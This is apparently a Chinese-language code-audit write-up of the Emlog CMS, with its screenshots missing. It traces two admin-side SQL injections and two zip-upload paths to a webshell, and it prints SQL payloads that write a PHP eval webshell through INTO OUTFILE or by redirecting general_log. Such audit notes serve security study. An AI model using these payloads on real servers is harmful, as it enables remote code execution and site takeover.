Emlog下载地址:https://www.mycodes.net/42/1492.html

    1、后台SQL注入(一)
    image.png

    /admin/tag.php,继续跟进deleteTag函数
    image.png
    /include/model/tag_model.php,参数$tagId未进行过滤
    image.png
    image.png

    2、后台SQL注入**(二)
    image.png**

    /admin/widgets.php,参数$widgets未进行任何过滤,跟进updateOption函数
    image.png
    /include/lib/option.php
    image.png

    image.png

    3、文件上传**(一)
    image.png**

    admin/plugin.php,跟进getFileSuffix函数
    image.png

    /include/lib/function.base.php,返回传入文件格式
    image.png
    知识点:pathinfo(path,options):函数以数组的形式返回文件路径的信息
    path:必需,规定文件路径
    opt**ion:**可选。规定要返回的数组元素。默认是 all
    PATHINFO_DIRNAME - 只返回 dirname
    PATHINFO_BASENAME - 只返回 basename
    PATHINFO_EXTENSION - 只返回 extension
    ![UGD{%6{4WOP9TSX(VP5EDI.png

    /include/lib/function.base.php,跟进emUnZip函数,zip解压操作

    1. function emUnZip($zipfile, $path, $type = 'tpl') {
    2. if (!class_exists('ZipArchive', FALSE)) {
    3. return 3;//zip模块问题
    4. }
    5. $zip = new ZipArchive();
    6. if (@$zip->open($zipfile) !== TRUE) {
    7. return 2;//文件权限问题
    8. }
    9. $r = explode('/', $zip->getNameIndex(0), 2);
    10. $dir = isset($r[0]) ? $r[0] . '/' : '';
    11. switch ($type) {
    12. case 'tpl':
    13. $re = $zip->getFromName($dir . 'header.php');
    14. if (false === $re)
    15. return -2;
    16. break;
    17. case 'plugin':
    18. $plugin_name = substr($dir, 0, -1);
    19. $re = $zip->getFromName($dir . $plugin_name . '.php');
    20. if (false === $re)
    21. return -1;
    22. break;
    23. case 'backup':
    24. $sql_name = substr($dir, 0, -1);
    25. if (getFileSuffix($sql_name) != 'sql')
    26. return -3;
    27. break;
    28. case 'update':
    29. break;
    30. }
    31. if (true === @$zip->extractTo($path)) {
    32. $zip->close();
    33. return 0;
    34. } else {
    35. return 1;//文件权限问题
    36. }
    37. }

    image.png

    新建一个shell文件夹,必须存在同名的PHP文件,压缩为zip上传
    image.png
    image.png

    4、文件上传**(二)
    image.png**

    解压操作都一样,这里上传zip压缩包名必须header名字,同时文件夹下文件名字也是header命令
    /admin/template.php
    image.png

    image.png
    image.png

    5、数据库备份getshell
    先进行备份,再插入SQL语句,压缩导入
    image.png

    # 使用select...into file,不过没有配置secure-file-priv,所以失败
    select "<?php eval($_POST['a']);?>" into outfile "E:/PhpStudy/PHPTutorial/WWW/project/emlog/shell.php";
    
    # 设置打开日志和路径格式,查询一句话即可
    set global general_log='on';
    set global general_log_file='E:/PhpStudy/PHPTutorial/WWW/project/emlog/shell.php'; 
    select '<?php phpinfo();?>';
    

    image.png